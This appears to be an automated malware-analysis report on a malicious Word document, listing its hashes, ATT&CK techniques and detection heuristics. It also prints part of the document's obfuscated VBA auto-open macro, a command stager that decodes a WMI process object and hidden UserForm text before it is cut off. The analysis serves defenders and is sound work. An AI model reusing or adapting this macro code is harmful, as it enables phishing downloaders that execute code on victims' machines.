Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bd5cef3f24fb9cec…

MALICIOUS

Office (OLE)

176.1 KB Created: 2020-08-18 17:48:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 70d012958f7cb9aee90d8d71b1c3e117 SHA-1: cecd233483d4a7e0e4339c27ee560e977bb2ef9d SHA-256: bd5cef3f24fb9ceccfd91ffbc32193c373bc363c068559f7e657ff8da699c401
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is automatically executed upon opening the document, indicated by the 'Document_Open' macro and 'OLE_VBA_DOCOPEN' heuristic. The macro utilizes 'CreateObject' and appears to be a command stager, suggesting it's designed to download and execute a second-stage payload. The ClamAV detection 'Doc.Malware.Sagent-9375821-0' further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-9375821-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9375821-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10460 bytes
SHA-256: 2d8818e5b869b1d1b949039d3c5481c03d905a15bd77b875c2a0f5e5f5f29708
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Wtz9n204ay7ty"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Voir4vv54umqe0lk4.Cdstj07h4wma_t
End Sub


Attribute VB_Name = "Voir4vv54umqe0lk4"
Attribute VB_Base = "0{F366E070-2954-479E-827A-C32610A8F664}{37C04FDE-171B-469E-AF98-E08B2EAB8EEE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Cdstj07h4wma_t()
   For Bnd8rp52x5olky = 5 To 62
DoEvents
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Next Bnd8rp52x5olky
Yzn1kj_4zud = 545
Symcoxkwtt2 = 402
Yzn1kj_4zud = Yzn1kj_4zud + Symcoxkwtt2
Al1tocun8b1hbf88 = Yzn1kj_4zud
I6bhw7j8v22lzi_ = Voir4vv54umqe0lk4.HelpContextId + 50 + 50
   For Bnd8rp52x5olky = 5 To 62
DoEvents
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Next Bnd8rp52x5olky
Yzn1kj_4zud = 197
Symcoxkwtt2 = 837
Yzn1kj_4zud = Yzn1kj_4zud + Symcoxkwtt2
Gq6l4kqswpv111dk = Yzn1kj_4zud
B16wgq3qmi2 = ChrW(I6bhw7j8v22lzi_ + (15))
   For Bnd8rp52x5olky = 5 To 62
DoEvents
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Next Bnd8rp52x5olky
Yzn1kj_4zud = 887
Symcoxkwtt2 = 99
Yzn1kj_4zud = Yzn1kj_4zud + Symcoxkwtt2
H3bv_oc7c4e3zm = Yzn1kj_4zud
Vyxgie7yyyjmhg8k = "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggi58[sn ]]][ jsa 21u7gsgggnm58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggggm58[sn ]]][ jsa 21u7gsgggt58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg" + B16wgq3qmi2 + "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg:58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggin58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg358[sn ]]][ jsa 21u7gsggg258[sn ]]][ jsa 21u7gsggg_58[sn ]]][ jsa 21u7gsggg" + Voir4vv54umqe0lk4.C081yifgxqs + "58[sn ]]][ jsa 21u7gsgggro58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggce58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsggg"
   For Bnd8rp52x5olky = 5 To 62
DoEvents
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Next Bnd8rp52x5olky
Yzn1kj_4zud = 433
Symcoxkwtt2 = 245
Yzn1kj_4zud = Yzn1kj_4zud + Symcoxkwtt2
Ntloge8i2lkvalnw = Yzn1kj_4zud
Zm_vmgn8qh9u = Dlx2s68i1qyogn(Vyxgie7yyyjmhg8k)
   For Bnd8rp52x5olky = 5 To 62
DoEvents
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Next Bnd8rp52x5olky
Yzn1kj_4zud = 869
Symcoxkwtt2 = 33
Yzn1kj_4zud = Yzn1kj_4zud + Symcoxkwtt2
Yilm__hfy2limrtt = Yzn1kj_4zud
Set Wjkydhg52gc1 = CreateObject(Zm_vmgn8qh9u)
   For Bnd8rp52x5olky = 5 To 62
DoEvents
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Next Bnd8rp52x5olky
Yzn1kj_4zud = 306
Symcoxkwtt2 = 656
Yzn1kj_4zud = Yzn1kj_4zud + Symcoxkwtt2
F07gt9rpj27ug4mu = Yzn1kj_4zud
T2a_tjl8zy7x = Voir4vv54umqe0lk4.Pxrj28tn2_hom1.ControlTipText
   For Bnd8rp52x5olky = 5 To 62
DoEvents
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Debug.Print (CStr(Wsvkuat3re8) & CStr(Nmf_kippe5798hl1))
Next Bnd8rp52x5olky
Yzn1kj_4zud = 200
Symcoxkwtt2 = 990
Yzn1kj_4zud = Yzn1kj_4zud + Symcoxkwtt2
Ip7nrzyd
... (truncated)

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